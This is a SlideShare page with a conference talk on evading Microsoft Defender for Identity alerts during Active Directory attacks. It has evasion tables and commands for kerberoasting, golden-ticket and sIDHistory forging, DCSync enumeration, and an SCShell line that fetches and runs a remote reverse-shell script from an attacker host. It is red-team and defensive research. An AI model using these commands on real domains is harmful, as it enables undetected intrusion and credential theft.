SlideShare a Scribd company logo
0wn-premises: Bypassing
Microsoft Defender for Identity
Nikhil Mittal
1
0wn Premises: Bypassing MDI
AlteredSecurity
About me
◎ Twitter - @nikhil_mitt
◎ Founder of Altered Security - alteredsecurity.com
◎ GitHub - github.com/samratashok/
◎ Creator of Nishang, Deploy-Deception, RACE toolkit and
more
◎ Interested in Active Directory and Azure security
◎ Previous Talks and/or Trainings
○ DEF CON, BlackHat, BruCON and more.
2
0wn Premises: Bypassing MDI
AlteredSecurity
Agenda
◎ Introduction to MDI
◎ Alerts
◎ Bypassing existing Alerts
◎ Techniques that are not detected (no alerts)
◎ Abusing MDI Response Action
◎ Limitations of the research
3
0wn Premises: Bypassing MDI
AlteredSecurity
Microsoft Defender for Identity (MDI)
◎ Analyzes traffic and logs on domain controllers, builds
profiles for identities and then look for anomalies –
deviation from “normal” behavior.
4
0wn Premises: Bypassing MDI
AlteredSecurity
Alerts
◎ Recon phase
◎ Compromised credential phase
◎ Lateral Movement phase
◎ Domain dominance phase
◎ Exfiltration phase
Source: https://learn.microsoft.com/en-us/defender-for-identity/alerts-overview
5
0wn Premises: Bypassing MDI
AlteredSecurity
Bypassing MDI
◎ MDI targets careless attackers!
○ Endpoint opsec is NOT the only opsec
○ Know your tools! Understand how they interact with DCs
○ Always assume that DCs are heavily monitored – Limit your interaction
with DCs!
6
0wn Premises: Bypassing MDI
AlteredSecurity
Bypassing MDI
◎ Question your TTPs and activity
○ Does traffic generated by my activity mix well with the existing traffic?
○ Am I using RC4 in place of AES?
○ Are my LDAP queries too specific?
○ Would the logs look similar to legit ones?
○ Are my Kerberos tickets compliant to Kerberos policy? Do my forged
tickets stand out?
○ How could I be more silent?
7
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Recon alerts
8
Alert Triggered by Bypass
Active Directory attributes
reconnaissance (LDAP)
Enumeration for RBCD, ‘Don’t
require preauth’ with LDAP
Filtering
Request all attributes and filter
offline. Avoid LDAP Filtering
User and Group membership
reconnaissance (SAMR)
Tools like net.exe Don’t use net.exe for enum :)
User and IP address
reconnaissance (SMB)
NetSessionEnum against the DC Avoid doing SMB Session
enumeration against DC
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Recon alerts
Active Directory attributes reconnaissance (LDAP)
◎ Bypass RBCD alert using AD Module (https://github.com/samratashok/ADModule)
Get-ADComputer -Filter * -Properties * |
?{$_.PrincipalsAllowedToDelegateToAccount -ne "$null"} | select
SamAccountName, PrincipalsAllowedToDelegateToAccount
9
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Compromised Credentials
10
Alert Triggered by Bypass
Honeytoken activity Use of account marked as
Honeytoken account
Look for user account attributes
like logonCount and
badPwdCount to find
honeytoken accounts
Suspected Kerberos SPN
Exposure
Requesting TGS tickets for
multiple SPNs e.g. “Rubeus
kerberoast”
Enumerate accounts (request
all attributes and filter offline)
with SPN and request one TGS
ticket at a time
Suspected AS-REP Roasting
attack
Requesting AS-REPs for
multiple users e.g. “Rubeus
asreproast”
Enumeration of users with
Preauth disabled
Enumerate accounts (request
all attributes and filter offline)
with preauth disabled and
request one AS-REP at a time
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Compromised Credentials
Suspected Kerberos SPN Exposure
◎ Enumerate using PowerView or ADModule and request one TGS ticket at a
time
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
ServicePrincipalName
Rubeus.exe kerberoast /user:targetaccount /simple /rc4opsec
11
0wn Premises: Bypassing MDI
AlteredSecurity
DEMO
Bypass - Suspected Kerberos SPN Exposure
12
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Lateral Movement
13
Alert Triggered by Bypass
Suspected identity theft
(pass- the-ticket)
Reuse of TGT from more than
one machine
Was NOT very reliably triggered
during testing
Suspected overpass-the-
hash attack (Kerberos)
No previous logon on a
machine
Could not bypass alert for ‘no
previous logon’
No more encryption downgrade
alert on use of RC4/NTLM hash but
still use AES keys
Suspected rogue Kerberos
certificate usage
No previous use of certificate
on a machine
Was NOT very reliably triggered
during testing
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
14
Alert Triggered by Bypass
Remote code execution attempt Use of PSExec, Remote WMI, WinRM
(PSRemoting) and service creation
Code execution by modifying existing
service (tools like SCShell)
Suspected DCSync attack Replication request from a machine
that is not a DC
Use DC machine account, TGT or
sIDHistory
Principals that have replication rights
like DCs, Enterprise DCs, Azure AD
Connect, Sharepoint admins etc.
Suspected Golden Ticket usage
(encryption downgrade)
Use of NTLM hash (RC4) of the krbtgt
account
Use AES256 or AES 128 key of the
krbtgt account
Suspected Golden Ticket usage
(nonexistent account)
Forging TGT for a nonexistent
account
Always use a valid and active DA
account
Suspected Golden Ticket usage (time
anomaly)
Use of TGT for longer than the value
specified in Kerberos Policy
Enumerate the Kerberos Policy and
make sure the forged ticket complies
with settings
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Remote Code Execution Attempt
◎ Using AES keys for Overpass-the-hash and using SCShell
(https://github.com/Mr-Un1k0d3r/SCShell) for modifying an existing service
◎ SCShell.exe dcorp-dc XblAuthManager "C:WindowsSystem32cmd.exe /c
powershell iex (iwr -UseBasicParsing http://<IP>/Invoke-
PowerShellTcp.ps1)“
Note that .NET assembly loader in place of PowerShell work just fine too!
15
0wn Premises: Bypassing MDI
AlteredSecurity
DEMO
Bypass - Remote Code Execution Attempt
16
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Suspected DCSync Attack
◎ Use Principals that have replication rights - Domain Controllers and
Enterprise Domain Controllers groups always have replication rights!
◎ Run DCSync using credentials/Silver ticket/TGT of DC or having sIDHistory
of Domain Controllers or Enterprise Domain Controllers to avoid
detection.
17
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Suspected DCSync Attack
◎ Silver ticket using DC machine account
○ Need NTLM hash/AES keys of the DC. Usually, after getting DA privileges
◎ TGT of DC machine account
○ Abusing unconstrained delegation with coercion
◎ sIDHistory of DC - Forging a TGT with sIDHistory of DCs and Enterprise DCs
Safetykatz.exe '"kerberos::golden /user:dc$ /domain: /sid: /groups:516
/sids:ForestRootSID-516,S-1-5-9 /krbtgt: /ptt“’
◎ Find other prinicpals that have replication rights using PowerView
Get-DomainObjectAcl -SearchBase "DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base
-ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get')} | ForEach-Object {$_ |
Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_}
18
0wn Premises: Bypassing MDI
AlteredSecurity
DEMO
Bypass – Suspected DCSync Attack
19
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Suspected Golden Ticket usage (encryption downgrade)/(nonexistent
account)/(time anomaly)
◎ MDI or not, it always makes sense to:
○ Enumerate the Kerberos Policy in the target environment
○ Use AES keys of krbtgt account
○ Use an existing and active target account
20
0wn Premises: Bypassing MDI
AlteredSecurity
Bypass – Domain Dominance
Suspected Golden Ticket usage (encryption downgrade)/(nonexistent
account)/(time anomaly)
◎ Look at logonCount and badPwdCount of a user
◎ Check the Kerberos Policy – Default is TGT lifetime of 10 hours and
Renewal time of 7 days
SafetyKatz.exe "kerberos::golden /User:Administrator /domain: /sid:
/aes256:AES_of_krbtgt /startoffset:0 /endin:600 /renewmax:10080
/ptt" "exit"
21
0wn Premises: Bypassing MDI
AlteredSecurity
DEMO
Bypass – Suspected Golden Ticket usage (encryption
downgrade)/(nonexistent account)/(time anomaly)
22
0wn Premises: Bypassing MDI
AlteredSecurity
Techniques that are not detected (no alerts)
◎ Diamond Ticket
◎ Silver Ticket
◎ Delegation configuration
◎ UserAccountControl changes like setting SPN, disabling PreAuth etc.
◎ Changes to AdminSDHolder
◎ New SSPs
◎ Addition of Replication Rights
◎ Many of these are known since the time of Microsoft ATA -
https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination
23
0wn Premises: Bypassing MDI
AlteredSecurity
Abusing MDI Response Action
◎ A user with Security Administrator role can reset password of a user that has a path to domain
admin.
◎ In case of Hybrid Identity, DA compromise may lead to Global Administrator compromise!
◎ https://techcommunity.microsoft.com/t5/security-compliance-and-identity/microsoft-defender-for-identity-response-actions/ba-p/3271716
24
0wn Premises: Bypassing MDI
AlteredSecurity
Limitations of the research
◎ Only alerts related to functionality abuse are tested.
◎ Noisy attacks (brute-force or patched vulnerabilities) are
not tested.
◎ No testing for ADFS.
◎ Majority of testing done in a lab environment. Only a couple
of production environments tested.
◎ Coupling up MDI with other security solutions would
produce better results in terms of detection.
25
0wn Premises: Bypassing MDI
AlteredSecurity
Thank you!
◎ Questions?
◎ Contact - @nikhil_mitt
◎ nikhil@alteredsecurity.com
26

More Related Content

PDF
Hunting for Credentials Dumping in Windows Environment
PPTX
SEIM-Microsoft Sentinel.pptx
PDF
introduction to Azure Sentinel
PDF
Hunting for Privilege Escalation in Windows Environment
PDF
Identity Security - Azure Identity Protection
PPTX
Abusing Microsoft Kerberos - Sorry you guys don't get it
PPTX
Useful Group Policy Concepts
PPTX
I hunt sys admins 2.0
Hunting for Credentials Dumping in Windows Environment
SEIM-Microsoft Sentinel.pptx
introduction to Azure Sentinel
Hunting for Privilege Escalation in Windows Environment
Identity Security - Azure Identity Protection
Abusing Microsoft Kerberos - Sorry you guys don't get it
Useful Group Policy Concepts
I hunt sys admins 2.0

What's hot (20)

PPTX
PowerShell for Practical Purple Teaming
PPTX
Evading Microsoft ATA for Active Directory Domination
PDF
Derbycon - The Unintended Risks of Trusting Active Directory
PDF
aclpwn - Active Directory ACL exploitation with BloodHound
PPTX
Catch Me If You Can: PowerShell Red vs Blue
PPTX
Threat Hunting with Splunk Hands-on
PDF
DerbyCon 2019 - Kerberoasting Revisited
PDF
ReCertifying Active Directory
PDF
No Easy Breach DerbyCon 2016
PPTX
Hacked? Pray that the Attacker used PowerShell
PDF
MITRE ATT&CKcon 2018: Hunters ATT&CKing with the Data, Roberto Rodriguez, Spe...
PDF
Carlos García - Pentesting Active Directory Forests [rooted2019]
PDF
I Have the Power(View)
PDF
Insecure direct object reference (null delhi meet)
PPTX
(Ab)Using GPOs for Active Directory Pwnage
PPTX
Here Be Dragons: The Unexplored Land of Active Directory ACLs
PDF
Adversary Emulation and Red Team Exercises - EDUCAUSE
PDF
Threat-Based Adversary Emulation with MITRE ATT&CK
PDF
Fantastic Red Team Attacks and How to Find Them
PDF
Not a Security Boundary
PowerShell for Practical Purple Teaming
Evading Microsoft ATA for Active Directory Domination
Derbycon - The Unintended Risks of Trusting Active Directory
aclpwn - Active Directory ACL exploitation with BloodHound
Catch Me If You Can: PowerShell Red vs Blue
Threat Hunting with Splunk Hands-on
DerbyCon 2019 - Kerberoasting Revisited
ReCertifying Active Directory
No Easy Breach DerbyCon 2016
Hacked? Pray that the Attacker used PowerShell
MITRE ATT&CKcon 2018: Hunters ATT&CKing with the Data, Roberto Rodriguez, Spe...
Carlos García - Pentesting Active Directory Forests [rooted2019]
I Have the Power(View)
Insecure direct object reference (null delhi meet)
(Ab)Using GPOs for Active Directory Pwnage
Here Be Dragons: The Unexplored Land of Active Directory ACLs
Adversary Emulation and Red Team Exercises - EDUCAUSE
Threat-Based Adversary Emulation with MITRE ATT&CK
Fantastic Red Team Attacks and How to Find Them
Not a Security Boundary
Ad

Similar to 0wn-premises: Bypassing Microsoft Defender for Identity (20)

PDF
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
PDF
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
PDF
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
PDF
Hacktive Directory Forensics - HackCon18, Oslo
PPTX
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
PPTX
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
PDF
MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...
PDF
Ace Up the Sleeve
PDF
Gartner Security & Risk Management Summit 2018
PDF
Information security programming in ruby
PDF
Clean pragmatic architecture @ devflix
PDF
XP Days 2019: First secret delivery for modern cloud-native applications
PDF
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
PDF
Vijayanirmala a_community_builders_guidebook_for_securing_your_secrets
PDF
2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...
PPTX
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
PDF
AWS Community Day Netherlands - Scaling Landing Zone Customizations using Con...
PDF
Achieving compliance With MongoDB Security
PDF
Docker Security in Production Overview
PDF
Minimizing Permissions for Cloud Forensics_ A Practical Guide for Tightening ...
DEF CON 23 - Sean - metcalf - red vs blue ad attack and defense
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
Hacktive Directory Forensics - HackCon18, Oslo
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
Low Hanging Fruit, Making Your Basic MongoDB Installation More Secure
MongoDB .local Bengaluru 2019: New Encryption Capabilities in MongoDB 4.2: A ...
Ace Up the Sleeve
Gartner Security & Risk Management Summit 2018
Information security programming in ruby
Clean pragmatic architecture @ devflix
XP Days 2019: First secret delivery for modern cloud-native applications
Tips on Securing Drupal Sites - DrupalCamp Atlanta (DCA)
Vijayanirmala a_community_builders_guidebook_for_securing_your_secrets
2020-02-20 - HashiTalks 2020 - HashiCorp Vault configuration as code via Hash...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
AWS Community Day Netherlands - Scaling Landing Zone Customizations using Con...
Achieving compliance With MongoDB Security
Docker Security in Production Overview
Minimizing Permissions for Cloud Forensics_ A Practical Guide for Tightening ...
Ad

More from Nikhil Mittal (14)

PPTX
RACE - Minimal Rights and ACE for Active Directory Dominance
PPTX
Forging Trusts for Deception in Active Directory
PPTX
Red Team Revenge - Attacking Microsoft ATA
PPTX
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
PPTX
Workshop: PowerShell for Penetration Testers
PDF
Continuous intrusion: Why CI tools are an attacker’s best friends
PPTX
Client side attacks using PowerShell
PPTX
Powerpreter: Post Exploitation like a Boss
PPTX
PowerShell for Penetration Testers
PPTX
Kautilya: Teensy beyond shell
PPTX
Teensy Programming for Everyone
PPTX
More fun using Kautilya
PPTX
Hacking the future with USB HID
PPTX
Owning windows 8 with human interface devices
RACE - Minimal Rights and ACE for Active Directory Dominance
Forging Trusts for Deception in Active Directory
Red Team Revenge - Attacking Microsoft ATA
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
Workshop: PowerShell for Penetration Testers
Continuous intrusion: Why CI tools are an attacker’s best friends
Client side attacks using PowerShell
Powerpreter: Post Exploitation like a Boss
PowerShell for Penetration Testers
Kautilya: Teensy beyond shell
Teensy Programming for Everyone
More fun using Kautilya
Hacking the future with USB HID
Owning windows 8 with human interface devices

Recently uploaded (20)

PDF
NewMind AI Monthly Chronicles - July 2025
PDF
GamePlan Trading System Review: Professional Trader's Honest Take
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
GDG Cloud Iasi [PUBLIC] Florian Blaga - Unveiling the Evolution of Cybersecur...
PDF
[발표본] 너의 과제는 클라우드에 있어_KTDS_김동현_20250524.pdf
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Modernizing your data center with Dell and AMD
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
NewMind AI Monthly Chronicles - July 2025
GamePlan Trading System Review: Professional Trader's Honest Take
“AI and Expert System Decision Support & Business Intelligence Systems”
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Reach Out and Touch Someone: Haptics and Empathic Computing
The Rise and Fall of 3GPP – Time for a Sabbatical?
20250228 LYD VKU AI Blended-Learning.pptx
GDG Cloud Iasi [PUBLIC] Florian Blaga - Unveiling the Evolution of Cybersecur...
[발표본] 너의 과제는 클라우드에 있어_KTDS_김동현_20250524.pdf
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Modernizing your data center with Dell and AMD
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Understanding_Digital_Forensics_Presentation.pptx
Diabetes mellitus diagnosis method based random forest with bat algorithm
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Chapter 3 Spatial Domain Image Processing.pdf
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Mobile App Security Testing_ A Comprehensive Guide.pdf
Unlocking AI with Model Context Protocol (MCP)
Advanced methodologies resolving dimensionality complications for autism neur...

0wn-premises: Bypassing Microsoft Defender for Identity

  • 1. 0wn-premises: Bypassing Microsoft Defender for Identity Nikhil Mittal 1
  • 2. 0wn Premises: Bypassing MDI AlteredSecurity About me ◎ Twitter - @nikhil_mitt ◎ Founder of Altered Security - alteredsecurity.com ◎ GitHub - github.com/samratashok/ ◎ Creator of Nishang, Deploy-Deception, RACE toolkit and more ◎ Interested in Active Directory and Azure security ◎ Previous Talks and/or Trainings ○ DEF CON, BlackHat, BruCON and more. 2
  • 3. 0wn Premises: Bypassing MDI AlteredSecurity Agenda ◎ Introduction to MDI ◎ Alerts ◎ Bypassing existing Alerts ◎ Techniques that are not detected (no alerts) ◎ Abusing MDI Response Action ◎ Limitations of the research 3
  • 4. 0wn Premises: Bypassing MDI AlteredSecurity Microsoft Defender for Identity (MDI) ◎ Analyzes traffic and logs on domain controllers, builds profiles for identities and then look for anomalies – deviation from “normal” behavior. 4
  • 5. 0wn Premises: Bypassing MDI AlteredSecurity Alerts ◎ Recon phase ◎ Compromised credential phase ◎ Lateral Movement phase ◎ Domain dominance phase ◎ Exfiltration phase Source: https://learn.microsoft.com/en-us/defender-for-identity/alerts-overview 5
  • 6. 0wn Premises: Bypassing MDI AlteredSecurity Bypassing MDI ◎ MDI targets careless attackers! ○ Endpoint opsec is NOT the only opsec ○ Know your tools! Understand how they interact with DCs ○ Always assume that DCs are heavily monitored – Limit your interaction with DCs! 6
  • 7. 0wn Premises: Bypassing MDI AlteredSecurity Bypassing MDI ◎ Question your TTPs and activity ○ Does traffic generated by my activity mix well with the existing traffic? ○ Am I using RC4 in place of AES? ○ Are my LDAP queries too specific? ○ Would the logs look similar to legit ones? ○ Are my Kerberos tickets compliant to Kerberos policy? Do my forged tickets stand out? ○ How could I be more silent? 7
  • 8. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Recon alerts 8 Alert Triggered by Bypass Active Directory attributes reconnaissance (LDAP) Enumeration for RBCD, ‘Don’t require preauth’ with LDAP Filtering Request all attributes and filter offline. Avoid LDAP Filtering User and Group membership reconnaissance (SAMR) Tools like net.exe Don’t use net.exe for enum :) User and IP address reconnaissance (SMB) NetSessionEnum against the DC Avoid doing SMB Session enumeration against DC
  • 9. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Recon alerts Active Directory attributes reconnaissance (LDAP) ◎ Bypass RBCD alert using AD Module (https://github.com/samratashok/ADModule) Get-ADComputer -Filter * -Properties * | ?{$_.PrincipalsAllowedToDelegateToAccount -ne "$null"} | select SamAccountName, PrincipalsAllowedToDelegateToAccount 9
  • 10. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Compromised Credentials 10 Alert Triggered by Bypass Honeytoken activity Use of account marked as Honeytoken account Look for user account attributes like logonCount and badPwdCount to find honeytoken accounts Suspected Kerberos SPN Exposure Requesting TGS tickets for multiple SPNs e.g. “Rubeus kerberoast” Enumerate accounts (request all attributes and filter offline) with SPN and request one TGS ticket at a time Suspected AS-REP Roasting attack Requesting AS-REPs for multiple users e.g. “Rubeus asreproast” Enumeration of users with Preauth disabled Enumerate accounts (request all attributes and filter offline) with preauth disabled and request one AS-REP at a time
  • 11. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Compromised Credentials Suspected Kerberos SPN Exposure ◎ Enumerate using PowerView or ADModule and request one TGS ticket at a time Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName Rubeus.exe kerberoast /user:targetaccount /simple /rc4opsec 11
  • 12. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass - Suspected Kerberos SPN Exposure 12
  • 13. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Lateral Movement 13 Alert Triggered by Bypass Suspected identity theft (pass- the-ticket) Reuse of TGT from more than one machine Was NOT very reliably triggered during testing Suspected overpass-the- hash attack (Kerberos) No previous logon on a machine Could not bypass alert for ‘no previous logon’ No more encryption downgrade alert on use of RC4/NTLM hash but still use AES keys Suspected rogue Kerberos certificate usage No previous use of certificate on a machine Was NOT very reliably triggered during testing
  • 14. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance 14 Alert Triggered by Bypass Remote code execution attempt Use of PSExec, Remote WMI, WinRM (PSRemoting) and service creation Code execution by modifying existing service (tools like SCShell) Suspected DCSync attack Replication request from a machine that is not a DC Use DC machine account, TGT or sIDHistory Principals that have replication rights like DCs, Enterprise DCs, Azure AD Connect, Sharepoint admins etc. Suspected Golden Ticket usage (encryption downgrade) Use of NTLM hash (RC4) of the krbtgt account Use AES256 or AES 128 key of the krbtgt account Suspected Golden Ticket usage (nonexistent account) Forging TGT for a nonexistent account Always use a valid and active DA account Suspected Golden Ticket usage (time anomaly) Use of TGT for longer than the value specified in Kerberos Policy Enumerate the Kerberos Policy and make sure the forged ticket complies with settings
  • 15. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Remote Code Execution Attempt ◎ Using AES keys for Overpass-the-hash and using SCShell (https://github.com/Mr-Un1k0d3r/SCShell) for modifying an existing service ◎ SCShell.exe dcorp-dc XblAuthManager "C:WindowsSystem32cmd.exe /c powershell iex (iwr -UseBasicParsing http://<IP>/Invoke- PowerShellTcp.ps1)“ Note that .NET assembly loader in place of PowerShell work just fine too! 15
  • 16. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass - Remote Code Execution Attempt 16
  • 17. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected DCSync Attack ◎ Use Principals that have replication rights - Domain Controllers and Enterprise Domain Controllers groups always have replication rights! ◎ Run DCSync using credentials/Silver ticket/TGT of DC or having sIDHistory of Domain Controllers or Enterprise Domain Controllers to avoid detection. 17
  • 18. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected DCSync Attack ◎ Silver ticket using DC machine account ○ Need NTLM hash/AES keys of the DC. Usually, after getting DA privileges ◎ TGT of DC machine account ○ Abusing unconstrained delegation with coercion ◎ sIDHistory of DC - Forging a TGT with sIDHistory of DCs and Enterprise DCs Safetykatz.exe '"kerberos::golden /user:dc$ /domain: /sid: /groups:516 /sids:ForestRootSID-516,S-1-5-9 /krbtgt: /ptt“’ ◎ Find other prinicpals that have replication rights using PowerView Get-DomainObjectAcl -SearchBase "DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base -ResolveGUIDs | ?{($_.ObjectAceType -match 'replication-get')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} 18
  • 19. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass – Suspected DCSync Attack 19
  • 20. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) ◎ MDI or not, it always makes sense to: ○ Enumerate the Kerberos Policy in the target environment ○ Use AES keys of krbtgt account ○ Use an existing and active target account 20
  • 21. 0wn Premises: Bypassing MDI AlteredSecurity Bypass – Domain Dominance Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) ◎ Look at logonCount and badPwdCount of a user ◎ Check the Kerberos Policy – Default is TGT lifetime of 10 hours and Renewal time of 7 days SafetyKatz.exe "kerberos::golden /User:Administrator /domain: /sid: /aes256:AES_of_krbtgt /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit" 21
  • 22. 0wn Premises: Bypassing MDI AlteredSecurity DEMO Bypass – Suspected Golden Ticket usage (encryption downgrade)/(nonexistent account)/(time anomaly) 22
  • 23. 0wn Premises: Bypassing MDI AlteredSecurity Techniques that are not detected (no alerts) ◎ Diamond Ticket ◎ Silver Ticket ◎ Delegation configuration ◎ UserAccountControl changes like setting SPN, disabling PreAuth etc. ◎ Changes to AdminSDHolder ◎ New SSPs ◎ Addition of Replication Rights ◎ Many of these are known since the time of Microsoft ATA - https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination 23
  • 24. 0wn Premises: Bypassing MDI AlteredSecurity Abusing MDI Response Action ◎ A user with Security Administrator role can reset password of a user that has a path to domain admin. ◎ In case of Hybrid Identity, DA compromise may lead to Global Administrator compromise! ◎ https://techcommunity.microsoft.com/t5/security-compliance-and-identity/microsoft-defender-for-identity-response-actions/ba-p/3271716 24
  • 25. 0wn Premises: Bypassing MDI AlteredSecurity Limitations of the research ◎ Only alerts related to functionality abuse are tested. ◎ Noisy attacks (brute-force or patched vulnerabilities) are not tested. ◎ No testing for ADFS. ◎ Majority of testing done in a lab environment. Only a couple of production environments tested. ◎ Coupling up MDI with other security solutions would produce better results in terms of detection. 25
  • 26. 0wn Premises: Bypassing MDI AlteredSecurity Thank you! ◎ Questions? ◎ Contact - @nikhil_mitt ◎ nikhil@alteredsecurity.com 26